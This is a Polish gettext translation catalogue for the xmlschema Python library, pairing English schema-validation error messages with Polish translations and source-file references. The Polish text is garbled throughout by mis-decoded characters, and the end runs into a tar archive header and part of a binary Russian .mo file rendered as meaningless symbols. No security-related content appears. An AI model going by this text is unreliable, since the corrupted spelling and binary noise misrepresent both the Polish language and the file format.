python-format msgid "wrong value %r for 'mode' attribute" msgstr "nieprawidÅ‚owa wartość %r dla atrybutu 'mode'" #: xmlschema/validators/wildcards.py:863 msgid "an openContent with mode='none' cannot have an <xs:any> child declaration" msgstr "openContent z mode='none' nie może mieć deklaracji podrzÄ™dnej <xs:any>" #: xmlschema/validators/wildcards.py:867 msgid "an <xs:any> child declaration is required" msgstr "wymagana jest deklaracja podrzÄ™dna <xs:any>" #: xmlschema/validators/wildcards.py:908 msgid "defaultOpenContent must be a child of the schema" msgstr "defaultOpenContent musi być elementem podrzÄ™dnym schematu" #: xmlschema/validators/wildcards.py:911 msgid "the attribute 'mode' of a defaultOpenContent cannot be 'none'" msgstr "atrybut 'mode' atrybutu defaultOpenContent nie może być 'none'" #: xmlschema/validators/wildcards.py:914 msgid "a defaultOpenContent declaration cannot be empty" msgstr "deklaracja defaultOpenContent nie może być pusta" #: xmlschema/validators/schemas.py:156 msgid "XSD_VERSION must be '1.0' or '1.1'" msgstr "XSD_VERSION musi być '1.0' lub '1.1'" #: xmlschema/validators/schemas.py:336 msgid "{!r} is not a valid loglevel" msgstr "{!r} nie jest prawidÅ‚owym poziomem logowania" #: xmlschema/validators/schemas.py:352 msgid "no XSD source provided!" msgstr "nie podano źrĂ³dÅ‚a XSD!" #: xmlschema/validators/schemas.py:380 msgid "the attribute 'targetNamespace' cannot be an empty string" msgstr "atrybut 'targetNamespace' nie może być pustym ciÄ…giem znakĂ³w" #: xmlschema/validators/schemas.py:383 msgid "wrong namespace ({0!r} instead of {1!r}) for XSD resource {2}" msgstr "nieprawidÅ‚owa przestrzeÅ„ nazw ({0!r} zamiast {1!r}) dla zasobu XSD {2}" #: xmlschema/validators/schemas.py:460 #, python-format msgid "'global_maps' argument must be an %r instance" msgstr "argument 'global_maps' musi być instancjÄ… %r" #: xmlschema/validators/schemas.py:542 msgid "cannot change the global maps instance of a meta-schema" msgstr "nie może zmienić instancji map globalnych metaschematu" #: xmlschema/validators/schemas.py:675 xmlschema/validators/schemas.py:970 #, python-format msgid "meta-schema unavailable for %r" msgstr "metaschemat niedostÄ™pny dla %r" #: xmlschema/validators/schemas.py:682 msgid "missing XSD namespace in meta-schema" msgstr "brakujÄ…ca przestrzeÅ„ nazw XSD w metaschemacie" #: xmlschema/validators/schemas.py:754 msgid "Missing meta-schema source URL" msgstr "BrakujÄ…cy źrĂ³dÅ‚owy adres URL metaschematu" #: xmlschema/validators/schemas.py:766 msgid "The argument 'base_schemas' must be a dictionary or a sequence of couples" msgstr "Argument 'base_schemas' musi być sÅ‚ownikiem lub sekwencjÄ… par" #: xmlschema/validators/schemas.py:803 xmlschema/validators/schemas.py:815 msgid "(restriction | list | union) expected" msgstr "(restriction | list | union) oczekiwany" #: xmlschema/validators/schemas.py:826 msgid "missing attribute 'name' in a global simpleType" msgstr "brakujÄ…cy atrybut 'name' w globalnym typie simpleType" #: xmlschema/validators/schemas.py:831 msgid "attribute 'name' not allowed for a local simpleType" msgstr "atrybut 'name' niedozwolony dla lokalnego typu simpleType" #: xmlschema/validators/schemas.py:875 msgid "'model' argument must be (sequence | choice | all)" msgstr "argument 'model' musi mieć wartość (sequence | choice | all)" #: xmlschema/validators/schemas.py:990 #, python-format msgid "schema %r is not built" msgstr "schemat %r nie zostaÅ‚ utworzony" #: xmlschema/validators/schemas.py:1095 msgid "the namespace {!r} is not loaded" msgstr "przestrzeÅ„ nazw {!r} nie zostaÅ‚a zaÅ‚adowana" #: xmlschema/validators/schemas.py:1117 msgid "'converter' argument must be a {0!r} subclass or instance: {1!r}" msgstr "argument 'converter' musi być podklasÄ… lub instancjÄ… {0!r}: {1!r}" #: xmlschema/validators/schemas.py:1172 msgid "cannot include schema {0!r}: {1}" msgstr "nie może zawierać schematu {0!r}: {1}" #: xmlschema/validators/schemas.py:1186 #, python-format msgid "Redefine schema failed: %s" msgstr "Ponowne zdefiniowanie schematu nie powiodÅ‚o siÄ™: %s" #: xmlschema/validators/schemas.py:1191 msgid "cannot redefine schema {0!r}: {1}" msgstr "nie można przedefiniować schematu {0!r}: {1}" #: xmlschema/validators/schemas.py:1207 #, python-format msgid "Override schema failed: %s" msgstr "Nadpisanie schematu nie powiodÅ‚o siÄ™: %s" #: xmlschema/validators/schemas.py:1269 msgid "if the 'namespace' attribute is not present on the import statement then the imported schema must have a 'targetNamespace'" msgstr "jeÅ›li atrybut 'namespace' nie jest obecny w instrukcji importu, wĂ³wczas importowany schemat musi mieć atrybut 'targetNamespace'" #: xmlschema/validators/schemas.py:1275 msgid "the attribute 'namespace' must be different from schema's 'targetNamespace'" msgstr "atrybut 'namespace' musi być inny niż 'targetNamespace' schematu" #: xmlschema/validators/schemas.py:1322 msgid "cannot import namespace {0!r}: {1}" msgstr "nie można zaimportować przestrzeni nazw {0!r}: {1}" #: xmlschema/validators/schemas.py:1324 #, python-format msgid "cannot import chameleon schema: %s" msgstr "nie można zaimportować schematu kameleona: %s" #: xmlschema/validators/schemas.py:1388 msgid "imported schema {0!r} has an unmatched namespace {1!r}" msgstr "zaimportowany schemat {0!r} ma niedopasowanÄ… przestrzeÅ„ nazw {1!r}" #: xmlschema/validators/schemas.py:1435 msgid "target directory {} is not empty" msgstr "katalog docelowy {} nie jest pusty" #: xmlschema/validators/schemas.py:1438 msgid "target {} is not a directory" msgstr "target {} nie jest katalogiem" #: xmlschema/validators/schemas.py:1441 msgid "target parent directory {} does not exist" msgstr "docelowy katalog nadrzÄ™dny {} nie istnieje" #: xmlschema/validators/schemas.py:1444 msgid "target parent {} is not a directory" msgstr "docelowy rodzic {} nie jest katalogiem" #: xmlschema/validators/schemas.py:1537 msgid "invalid attribute vc:minVersion value" msgstr "nieprawidÅ‚owa wartość atrybutu vc:minVersion" #: xmlschema/validators/schemas.py:1546 msgid "invalid attribute vc:maxVersion value" msgstr "nieprawidÅ‚owa wartość atrybutu vc:maxVersion" #: xmlschema/validators/schemas.py:1622 xmlschema/validators/schemas.py:1629 #: xmlschema/validators/schemas.py:1635 msgid "{!r} is not a valid value for xs:QName" msgstr "{!r} nie jest prawidÅ‚owÄ… wartoÅ›ciÄ… dla xs:QName" #: xmlschema/validators/schemas.py:1641 msgid "prefix {!r} not found in namespace map" msgstr "przedrostek {!r} nie zostaÅ‚ znaleziony w mapie przestrzeni nazw" #: xmlschema/validators/schemas.py:1648 msgid "the QName {!r} is mapped to no namespace, but this requires that there is an xs:import statement in the schema without the 'namespace' attribute." msgstr "nazwa QName {!r} nie jest mapowana do żadnej przestrzeni nazw, ale wymaga to instrukcji xs:import w schemacie bez atrybutu 'namespace'." #: xmlschema/validators/schemas.py:1657 msgid "the QName {0!r} is mapped to the namespace {1!r}, but this namespace has not an xs:import statement in the schema." msgstr "nazwa QName {0!r} jest mapowana do przestrzeni nazw {1!r}, ale ta przestrzeÅ„ nazw nie ma instrukcji xs:import w schemacie." #: xmlschema/validators/schemas.py:1798 xmlschema/validators/schemas.py:1852 #: xmlschema/validators/schemas.py:1997 msgid "{!r} is not an element of the schema" msgstr "{!r} nie jest elementem schematu" #: xmlschema/validators/schemas.py:1826 #, python-format msgid "IDREF %r not found in XML document" msgstr "IDREF %r nie zostaÅ‚ znaleziony w dokumencie XML" #: xmlschema/validators/schemas.py:2076 msgid "encoding needs at least one XSD element declaration" msgstr "kodowanie wymaga co najmniej jednej deklaracji elementu XSD" #: xmlschema/validators/schemas.py:2110 #, python-format msgid "the path %r doesn't match any element of the schema!" msgstr "Å›cieżka %r nie pasuje do żadnego elementu schematu!" #: xmlschema/validators/schemas.py:2112 msgid "unable to select an element for decoding data, provide a valid 'path' argument." msgstr "nie można wybrać elementu do dekodowania danych, należy podać prawidÅ‚owy argument 'path'." #: xmlschema/validators/simple_types.py:133 msgid "facets not allowed for a direct derivation of xs:anySimpleType" msgstr "aspekty niedozwolone dla bezpoÅ›redniej pochodnej xs:anySimpleType" #: xmlschema/validators/simple_types.py:137 msgid "facets not allowed for a direct content derivation of xs:anySimpleType" msgstr "aspekty niedozwolone dla bezpoÅ›redniej pochodnej treÅ›ci xs:anySimpleType" #: xmlschema/validators/simple_types.py:143 msgid "one or more facets are not applicable, admitted set is {!r}" msgstr "jeden lub wiÄ™cej aspektĂ³w nie ma zastosowania, dopuszczony zestaw to {!r}" #: xmlschema/validators/simple_types.py:149 #, python-format msgid "facet group must have the same base type: %r" msgstr "grupa aspektĂ³w musi mieć ten sam typ podstawowy: %r" #: xmlschema/validators/simple_types.py:159 msgid "'length' value must be non a negative integer" msgstr "wartość 'length' nie może być ujemnÄ… liczbÄ… caÅ‚kowitÄ…." #: xmlschema/validators/simple_types.py:163 msgid "'minLength' value must be less than or equal to 'length'" msgstr "wartość 'minLength' musi być mniejsza lub rĂ³wna wartoÅ›ci 'length'" #: xmlschema/validators/simple_types.py:170 msgid "cannot specify both 'length' and 'minLength'" msgstr "nie można okreÅ›lić zarĂ³wno 'length', jak i 'minLength'" #: xmlschema/validators/simple_types.py:175 msgid "'maxLength' value must be greater or equal to 'length'" msgstr "wartość 'maxLength' musi być wiÄ™ksza lub rĂ³wna wartoÅ›ci 'length'" #: xmlschema/validators/simple_types.py:183 msgid "cannot specify both 'length' and 'maxLength'" msgstr "nie można okreÅ›lić zarĂ³wno 'length', jak i 'maxLength'" #: xmlschema/validators/simple_types.py:192 msgid "'minLength' value must be a non negative integer" msgstr "wartość 'minLength' musi być nieujemnÄ… liczbÄ… caÅ‚kowitÄ…" #: xmlschema/validators/simple_types.py:195 msgid "'maxLength' value is less than 'minLength'" msgstr "wartość 'maxLength' jest mniejsza niż 'minLength'" #: xmlschema/validators/simple_types.py:198 msgid "'minLength' has a lesser value than parent" msgstr "'minLength' ma mniejszÄ… wartość niż rodzic" #: xmlschema/validators/simple_types.py:201 msgid "'minLength' has a greater value than parent 'maxLength'" msgstr "'minLength' ma wiÄ™kszÄ… wartość niż nadrzÄ™dna 'maxLength'" #: xmlschema/validators/simple_types.py:206 msgid "'maxLength' value must be a non negative integer" msgstr "wartość 'maxLength' musi być nieujemnÄ… liczbÄ… caÅ‚kowitÄ…" #: xmlschema/validators/simple_types.py:209 msgid "'maxLength' has a lesser value than parent 'minLength'" msgstr "'maxLength' ma mniejszÄ… wartość niż nadrzÄ™dna 'minLength'" #: xmlschema/validators/simple_types.py:212 msgid "'maxLength' has a greater value than parent" msgstr "'maxLength' ma wiÄ™kszÄ… wartość niż rodzic" #: xmlschema/validators/simple_types.py:223 msgid "cannot specify both 'minInclusive' and 'minExclusive'" msgstr "nie można okreÅ›lić zarĂ³wno 'minInclusive', jak i 'minExclusive'" #: xmlschema/validators/simple_types.py:226 msgid "'minInclusive' must be less or equal to 'maxInclusive'" msgstr "'minInclusive' musi być mniejsze lub rĂ³wne 'maxInclusive'" #: xmlschema/validators/simple_types.py:229 msgid "'minInclusive' must be lesser than 'maxExclusive'" msgstr "'minInclusive' musi być mniejsze niż 'maxExclusive'" #: xmlschema/validators/simple_types.py:234 msgid "'minExclusive' must be lesser than 'maxInclusive'" msgstr "'minInclusive' musi być mniejsze niż 'maxExclusive'" #: xmlschema/validators/simple_types.py:237 msgid "'minExclusive' must be less or equal to 'maxExclusive'" msgstr "'minExclusive' musi być mniejsze lub rĂ³wne 'maxExclusive'" #: xmlschema/validators/simple_types.py:241 msgid "cannot specify both 'maxInclusive' and 'maxExclusive'" msgstr "nie można okreÅ›lić zarĂ³wno 'maxInclusive', jak i 'maxExclusive'" #: xmlschema/validators/simple_types.py:247 msgid "fractionDigits facet value cannot be lesser than the value of totalDigits facet" msgstr "wartość aspektu fractionDigits nie może być mniejsza niż wartość aspektu totalDigits" #: xmlschema/validators/simple_types.py:253 msgid "totalDigits facet value cannot be greater than the value of the same facet in the base type" msgstr "wartość aspektu totalDigits nie może być wiÄ™ksza niż wartość tego samego aspektu w typie bazowym" #: xmlschema/validators/simple_types.py:262 #, python-format msgid "the explicitTimezone facet value cannot be changed if the base type has the same facet with value %r" msgstr "wartość aspektu explicitTimezone nie może zostać zmieniona, jeÅ›li typ bazowy ma ten sam aspekt z wartoÅ›ciÄ… %r" #: xmlschema/validators/simple_types.py:460 msgid "a {0!r} or {1!r} object required" msgstr "wymagany obiekt {0!r} lub {1!r}" #: xmlschema/validators/simple_types.py:615 msgid "value is not an instance of {!r}" msgstr "wartość nie jest instancjÄ… {!r}" #: xmlschema/validators/simple_types.py:640 #: xmlschema/validators/simple_types.py:753 #: xmlschema/validators/simple_types.py:1107 msgid "invalid value {!r}" msgstr "nieprawidÅ‚owa wartość {!r}" #: xmlschema/validators/simple_types.py:665 #, python-format msgid "unmapped prefix %r in a QName" msgstr "niezamapowany prefiks %r w nazwie QName" #: xmlschema/validators/simple_types.py:699 #: xmlschema/validators/simple_types.py:711 msgid "duplicated xs:ID value {!r}" msgstr "zduplikowana wartość xs:ID {!r}" #: xmlschema/validators/simple_types.py:706 msgid "no more than one attribute of type ID should be present in an element" msgstr "w elemencie nie powinien znajdować siÄ™ wiÄ™cej niż jeden atrybut typu ID" #: xmlschema/validators/simple_types.py:731 msgid "boolean value {0!r} requires a {1!r} decoder" msgstr "wartość logiczna {0!r} wymaga dekodera {1!r}" #: xmlschema/validators/simple_types.py:736 msgid "{0!r} is not an instance of {1!r}" msgstr "{0!r} nie jest instancjÄ… {1!r}" #: xmlschema/validators/simple_types.py:824 #, python-format msgid "%r: a list must be based on atomic data types" msgstr "%r: lista musi być oparta na atomowych typach danych" #: xmlschema/validators/simple_types.py:843 msgid "ambiguous list type declaration" msgstr "niejednoznaczna deklaracja typu listy" #: xmlschema/validators/simple_types.py:851 msgid "missing list type declaration" msgstr "brakujÄ…ca deklaracja typu listy" #: xmlschema/validators/simple_types.py:864 msgid "circular definition found for type {!r}" msgstr "znaleziono definicjÄ™ cyklicznÄ… dla typu {!r}" #: xmlschema/validators/simple_types.py:869 #, python-format msgid "'final' value of the itemType %r forbids derivation by list" msgstr "wartość 'final' itemType %r zabrania wyprowadzania przez listÄ™" #: xmlschema/validators/simple_types.py:873 #: xmlschema/validators/simple_types.py:1048 #: xmlschema/validators/simple_types.py:1335 msgid "cannot use xs:anyAtomicType as base type of a user-defined type" msgstr "nie może używać xs:anyAtomicType jako typu bazowego zdefiniowanego przez użytkownika" #: xmlschema/validators/simple_types.py:996 #, python-format msgid "wrong value %r for attribute 'white_space'" msgstr "nieprawidÅ‚owa wartość %r dla atrybutu 'white_space'" #: xmlschema/validators/simple_types.py:1031 msgid "circular definition found on xs:union type {!r}" msgstr "cykliczna definicja typu xs:union {!r}" #: xmlschema/validators/simple_types.py:1035 msgid "a {0!r} required, not {1!r}" msgstr "wymagane {0!r}, a nie {1!r}" #: xmlschema/validators/simple_types.py:1039 #, python-format msgid "'final' value of the memberTypes %r forbids derivation by union" msgstr "wartość 'final' elementu MemberTypes %r zabrania wyprowadzania przez sumÄ™" #: xmlschema/validators/simple_types.py:1045 msgid "missing xs:union type declarations" msgstr "brak deklaracji typu xs:unia" #: xmlschema/validators/simple_types.py:1128 #, python-format msgid "no type suitable for decoding the values %r" msgstr "brak typu odpowiedniego do dekodowania wartoÅ›ci %r" #: xmlschema/validators/simple_types.py:1162 msgid "no type suitable for encoding the object" msgstr "brak typu odpowiedniego do zakodowania obiektu" #: xmlschema/validators/simple_types.py:1210 msgid "'name' attribute in a local simpleType definition" msgstr "atrybut 'name' w lokalnej definicji typu simpleType" #: xmlschema/validators/simple_types.py:1252 #, python-format msgid "wrong base type %r, an atomic type required" msgstr "nieprawidÅ‚owy typ bazowy %r, wymagany typ atomowy" #: xmlschema/validators/simple_types.py:1258 msgid "an xs:simpleType definition expected" msgstr "oczekiwana definicja xs:simpleType" #: xmlschema/validators/simple_types.py:1263 msgid "when a complexType with simpleContent restricts a complexType with mixed and with emptiable content then a simpleType child declaration is required" msgstr "kiedy complexType z simpleContent ogranicza complexType z mieszanÄ… i oprĂ³Å¼nialnÄ… zawartoÅ›ciÄ…, wymagana jest deklaracja potomna simpleType" #: xmlschema/validators/simple_types.py:1268 #, python-format msgid "simpleType restriction of %r is not allowed" msgstr "ograniczenie simpleType %r jest niedozwolone" #: xmlschema/validators/simple_types.py:1277 msgid "unexpected tag after attribute declarations" msgstr "nieoczekiwany znacznik po deklaracji atrybutu" #: xmlschema/validators/simple_types.py:1282 msgid "duplicated simpleType declaration" msgstr "zduplikowana deklaracja simpleType" #: xmlschema/validators/simple_types.py:1304 msgid "restriction with 'base' attribute and simpleType declaration" msgstr "ograniczenie z atrybutem 'base' i deklaracjÄ… simpleType" #: xmlschema/validators/simple_types.py:1312 #, python-format msgid "unexpected tag %r in restriction" msgstr "nieoczekiwany znacznik %r w ograniczeniu" #: xmlschema/validators/simple_types.py:1318 #, python-format msgid "multiple %r constraint facet" msgstr "wielokrotny aspekt ograniczenia %r" #: xmlschema/validators/simple_types.py:1330 msgid "missing base type in restriction" msgstr "brakujÄ…cy typ bazowy w ograniczeniu" #: xmlschema/validators/simple_types.py:1332 #, python-format msgid "'final' value of the baseType %r forbids derivation by restriction" msgstr "wartość 'final' baseType %r zabrania wyprowadzania przez ograniczenie" #: xmlschema/validators/simple_types.py:1381 #: xmlschema/validators/simple_types.py:1430 #, python-format msgid "wrong base type %r: a simpleType or a complexType with simple or mixed content required" msgstr "nieprawidÅ‚owy typ bazowy %r: wymagany simpleType lub complexType z prostÄ… lub mieszanÄ… zawartoÅ›ciÄ…" #: xmlschema/validators/identities.py:86 msgid "'xpath' attribute required" msgstr "wymagany atrybut 'xpath'" #: xmlschema/validators/identities.py:98 msgid "invalid XPath expression for an {}" msgstr "nieprawidÅ‚owe wyrażenie XPath dla {}" #: xmlschema/validators/identities.py:182 msgid "missing required attribute 'name'" msgstr "brak wymaganego atrybutu 'name'" #: xmlschema/validators/identities.py:190 msgid "missing 'selector' declaration" msgstr "brakujÄ…ca deklaracja 'selector'" #: xmlschema/validators/identities.py:202 msgid "unknown identity constraint {!r}" msgstr "nieznane ograniczenie tożsamoÅ›ci {!r}" #: xmlschema/validators/identities.py:207 msgid "attribute 'ref' points to a different kind constraint" msgstr "atrybut 'ref' wskazuje na ograniczenie innego rodzaju" #: xmlschema/validators/identities.py:296 msgid "missing key field {0!r} for {1!r}" msgstr "brakujÄ…ce pole klucza {0!r} dla {1!r}" #: xmlschema/validators/identities.py:304 #, python-format msgid "%r field doesn't have a simple type!" msgstr "pole %r nie ma typu prostego!" #: xmlschema/validators/identities.py:325 #, python-format msgid "%r field selects multiple values!" msgstr "pole %r wybiera wiele wartoÅ›ci!" #: xmlschema/validators/identities.py:359 msgid "missing required attribute 'refer'" msgstr "brak wymaganego atrybutu 'refer'" #: xmlschema/validators/identities.py:381 #, python-format msgid "key/unique identity constraint %r is missing" msgstr "brakuje ograniczenia klucza/unikalnej tożsamoÅ›ci %r" #: xmlschema/validators/identities.py:386 #, python-format msgid "reference to a non key/unique identity constraint %r" msgstr "odniesienie do niekluczowego/unikalnego ograniczenia tożsamoÅ›ci %r" #: xmlschema/validators/identities.py:389 msgid "field cardinality mismatch between {0!r} and {1!r}" msgstr "niezgodność kardynalnoÅ›ci pĂ³l {0!r} i {1!r}" #: xmlschema/validators/identities.py:459 msgid "duplicated value {0!r} for {1!r}" msgstr "zduplikowana wartość {0!r} dla {1!r}" #: xmlschema/validators/xsdbase.py:51 #, python-format msgid "validation mode can be 'strict', 'lax' or 'skip': %r" msgstr "tryb walidacji może być 'strict', 'lax' lub 'skip': %r" #: xmlschema/validators/xsdbase.py:254 msgid "wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | {1})." msgstr "błędna wartość {0!r} dla atrybutu 'xpathDefaultNamespace', może być (anyURI | {1})." #: xmlschema/validators/xsdbase.py:405 #, python-format msgid "missing attribute 'name' in a global %r" msgstr "brakujÄ…cy atrybut 'name' w globalnym %r" #: xmlschema/validators/xsdbase.py:408 #, python-format msgid "missing both attributes 'name' and 'ref' in local %r" msgstr "brak obu atrybutĂ³w 'name' i 'ref' w lokalnym %r" #: xmlschema/validators/xsdbase.py:411 msgid "attributes 'name' and 'ref' are mutually exclusive" msgstr "atrybuty 'name' i 'ref' wzajemnie siÄ™ wykluczajÄ…" #: xmlschema/validators/xsdbase.py:414 #, python-format msgid "attribute 'ref' not allowed in a global %r" msgstr "atrybut 'ref' niedozwolony w globalnym %r" #: xmlschema/validators/xsdbase.py:423 msgid "a reference component cannot have child definitions/declarations" msgstr "komponent referencyjny nie może mieć podrzÄ™dnych definicji/deklaracji" #: xmlschema/validators/xsdbase.py:438 msgid "too many XSD components, unexpected {0!r} found at position {1}" msgstr "zbyt wiele komponentĂ³w XSD, nieoczekiwane {0!r} znalezione na pozycji {1}" #: xmlschema/validators/xsdbase.py:454 msgid "attribute 'name' must be present when 'targetNamespace' attribute is provided" msgstr "atrybut 'name' musi być obecny, gdy podany jest atrybut 'targetNamespace'" #: xmlschema/validators/xsdbase.py:458 msgid "attribute 'form' must be absent when 'targetNamespace' attribute is provided" msgstr "atrybut 'form' musi być nieobecny, gdy podany jest atrybut 'targetNamespace'" #: xmlschema/validators/xsdbase.py:463 #, python-format msgid "a global %s must have the same namespace as its parent schema" msgstr "globalny %s musi mieć tÄ™ samÄ… przestrzeÅ„ nazw co jego schemat nadrzÄ™dny" #: xmlschema/validators/xsdbase.py:471 msgid "a declaration contained in a global complexType must have the same namespace as its parent schema" msgstr "deklaracja zawarta w globalnym complexType musi mieć takÄ… samÄ… przestrzeÅ„ nazw jak jej schemat nadrzÄ™dny" #: xmlschema/validators/xsdbase.py:591 msgid "parent circularity from {}" msgstr "cykliczność macierzysta od {}" #: xmlschema/validators/helpers.py:44 #, python-format msgid "wrong value %r for attribute %r" msgstr "nieprawidÅ‚owa wartość %r dla atrybutu %r" #: xmlschema/validators/helpers.py:59 msgid "value is not a valid xs:decimal" msgstr "wartość nie jest prawidÅ‚owa xs:decimal" #: xmlschema/validators/helpers.py:65 msgid "value is not an xs:QName" msgstr "wartość nie jest xs:QName" #: xmlschema/validators/helpers.py:71 xmlschema/validators/helpers.py:77 #: xmlschema/validators/helpers.py:83 xmlschema/validators/helpers.py:89 #: xmlschema/validators/helpers.py:95 xmlschema/validators/helpers.py:101 #: xmlschema/validators/helpers.py:107 xmlschema/validators/helpers.py:113 msgid "value must be {:s}" msgstr "wartość musi być {:s}" #: xmlschema/validators/helpers.py:119 msgid "value must be negative" msgstr "wartość musi być ujemna" #: xmlschema/validators/helpers.py:125 msgid "value must be positive" msgstr "wartość musi być dodatnia" #: xmlschema/validators/helpers.py:131 msgid "value must be non positive" msgstr "wartość nie może być dodatnia" #: xmlschema/validators/helpers.py:137 msgid "value must be non negative" msgstr "wartość nie może być ujemna" #: xmlschema/validators/helpers.py:144 msgid "not an hexadecimal number" msgstr "nie jest liczbÄ… szesnastkowÄ…" #: xmlschema/validators/helpers.py:157 msgid "not a base64 encoding" msgstr "nie jest kodowaniem base64" #: xmlschema/validators/helpers.py:162 msgid "no value is allowed for xs:error type" msgstr "żadna wartość nie jest dozwolona dla typu xs:error" #: xmlschema/validators/helpers.py:174 msgid "{!r} is not a boolean value" msgstr "{!r} nie jest wartoÅ›ciÄ… logicznÄ…" ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/ru/����������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017333�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/ru/LC_MESSAGES/����������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0021120�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/ru/LC_MESSAGES/xmlschema.mo����������������������������������������0000664�0000000�0000000�00000165607�15020401055�0023455�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������̃•���������$ �� ��,������P �����Q �����c �����u ��$���‰ ��$���® ��!���Ó �����ơ ��+���!��-���0!��:���^!��%���™!�����¿!��@���Ù!��7���"��:���R"��B���"��;���Đ"��?��� #��8���L#��-���…#��-���³#��+���á#��6��� $��*���D$��0���o$��6��� $��6���×$��1���%��6���@%��1���w%��7���©%��*���á%��0��� &��8���=&��0���v&��2���§&��1���Ú&��@��� '�����M'��2���h'��%���›'��>���Á'��<����(��<���=(��=���z(��4���¸(��7���í(��6���%)��0���\)��)���)��A���·)��o���ù)��"���i*��B���Œ*��C���Ï*�����+��;���2+�����n+�����‰+��F���¤+��;���ë+��I���',��(���q,��,���,��=���Ç,��1���-��*���7-��A���b-��)���¤-��"���Î-��%���ñ-��a���.��0���y.��=���ª.��?���è.��%���(/��'���N/��7���v/��@���®/��2���ï/�� ���"0�����C0�����_0��+���0��)���«0��0���Ơ0��F���1��E���M1��I���“1��$���Ư1��=���2��&���@2�� ���g2�����ˆ2�����¡2��?���¸2��L���ø2��3���E3��3���y3��M���­3��3���û3��3���/4��-���c4��*���‘4��5���¼4��=���̣4��>���05��<���o5��9���¬5��'���æ5�����6��5���'6��2���]6��)���6��&���º6��(���á6��Q��� 7��R���\7��"���¯7��&���̉7��.���ù7��,���(8��R���U8��%���¨8��7���Î8��+���9��+���29��B���^9��3���¡9��6���Ơ9��"��� :��"���/:�� ���R:��!���s:��,���•:��,���Â:��5���ï:��5���%;��-���[;��?���‰;��^���É;��1���(<��6���Z<��1���‘<��'���Ă<��/���ë<��#���=��=���?=��*���}=��1���¨=��&���Ú=��>���>��:���@>��B���{>��0���¾>��:���ï>��F���*?�����q?��"���?��!���³?�� ���Ơ?�����ö?��+���@�����>@�� ���V@��3���w@��>���«@��,���ê@��"���A��/���:A��F���jA��>���±A��2���đA��8���#B��I���\B��O���¦B��F���öB�����=C�����WC��%���oC�����•C��-���³C��T���áC��U���6D��T���ŒD��z���áD��6���\E��0���“E��;���ÄE��"����F��%���#F��%���IF�����oF��-���F�����»F��+���ÓF��+���ÿF�����+G�����FG��,���YG�����†G��3���œG��7���ĐG��0���H��*���9H��=���dH�����¢H��0���ÁH��0���̣H��'���#I��.���KI�����zI�����™I��$���²I��2���×I��'��� J��0���2J��/���cJ��&���“J�����ºJ�����ÓJ�� ���èJ��4��� K��)���>K��%���hK��0���K�����¿K��!���ĐK�����̣K��!���L��"���2L�����UL��"���uL��:���˜L�����ÓL��.���đL��'���M��&���GM��#���nM�����’M��8���¯M�����èM��E����N��+���FN��(���rN��%���›N�����ÁN�����×N�����ëN��8���O��;���>O��1���zO�����¬O��&���ÇO��5���îO��4���$P��5���YP��5���P��M���ÅP��%���Q��<���9Q�����vQ��0���Q��2���¾Q��+���ñQ�����R�� ���;R��)���\R��#���†R�����ªR��/���ÇR��‘���÷R��r���‰S��=���üS��K���:T��9���†T��9���ÀT��I���úT��K���DU��L���U��+���ƯU��-��� V��+���7V��d���cV��B���ÈV�� ��� W��8���,W��A���eW��4���§W��-���ÜW��@��� X��#���KX��!���oX��?���‘X��[���ÑX��$���-Y��O���RY�����¢Y��&���½Y�����äY��2���öY��2���)Z��)���\Z�� ���†Z��+���§Z�����ÓZ�����đZ�����[�� ���[�����;[�����X[��*���j[�����•[�����³[��7���Ê[��!���\��4���$\��)���Y\�����ƒ\��'���£\��*���Ë\��!���ö\��,���]�� ���E]�����f]�� ���†]�����§]��%���À]��(���æ]��'���^�����7^�����N^�����i^�����„^�����^�����µ^��M���È^��,���_��“���C_��6���×_��?���`��.���N`��+���}`��W���©`�����a��$���a��!���>a��=���`a��)���a��7���Èa��#����b��.���$b�����Sb��*���sb��'���b��*���Æb��$���ñb��O���c��0���fc��.���—c��>���Æc��<���d��&���Bd�� ���id��+���d��0���¶d��+���çd��;���e��9���Oe�����‰e��)���¥e�����Ïe��&���́e��$���f��7���8f�����pf��&���f��#���µf��1���Ùf��0��� g��!���<g��G���^g��L���¦g�����óg��À��h�����Ôi�����ôi�����j��?���3j��6���sj��A���ªj��*���́j��Q���k��e���ik��v���Ïk��N���Fl��*���•l��r���Àl��[���3m��Y���m��^���ém��T���Hn��l���n��V��� o��N���ao��b���°o��R���p��c���fp��<���Êp��j���q��Z���rq��R���Íq��H��� r��R���ir��H���¼r��c���s��R���is��e���¼s��Z���"t��=���}t��H���»t��M���u��d���Ru��/���·u��[���çu��/���Cv��q���sv�� ���åv��^���†w��~���åw��t���dx��…���Ùx��X���_y��Y���¸y��S���z��v���fz��´���Ưz��4���’{��y���Ç{��z���A|��L���¼|��|��� }��:���†}��?���Á}��˜���~��w���~��{�����D�����G���Ó��H���€��s���d€��E���Ø€��Y�����<���x��4���µ��1���ê��á���‚��M���₫‚��‘���Lƒ��m���̃ƒ��J���L„��6���—„��H���΄��}���…��r���•…��2���†��'���;†��E���c†��V���©†��A����‡��F���B‡��k���‰‡�����ơ‡��d���“ˆ��7���øˆ��Z���0‰��9���‹‰��>���ʼn��'�����#���,��O���P��u��� ��U���‹��U���l‹��‹���‹��L���NŒ��M���›Œ��N���éŒ��E���8��[���~��j���Ú��o���E��m���µ��h���#��Q���Œ�����̃��Z���ü��V���W��V���®��M���‘��Z���S‘��~���®‘�����-’��L���­’��X���ú’��6���S“��Q���“��§���Ü“��^���„”��i���ă”��Q���M•��W���Ÿ•��t���÷•��`���l–��q���Í–��O���?—��\���—��6���́—��G���#˜��P���k˜��P���¼˜��Y��� ™��Y���g™��c���Á™��£���%��ˆ���É��p���R›��n���Ă›��Z���2œ��Q���œ��R���ßœ��F���2��|���y��D���ö��h���;��T���¤��`���ù��e���ZŸ��]���ÀŸ��W��� ��^���v ��ˆ���Ơ 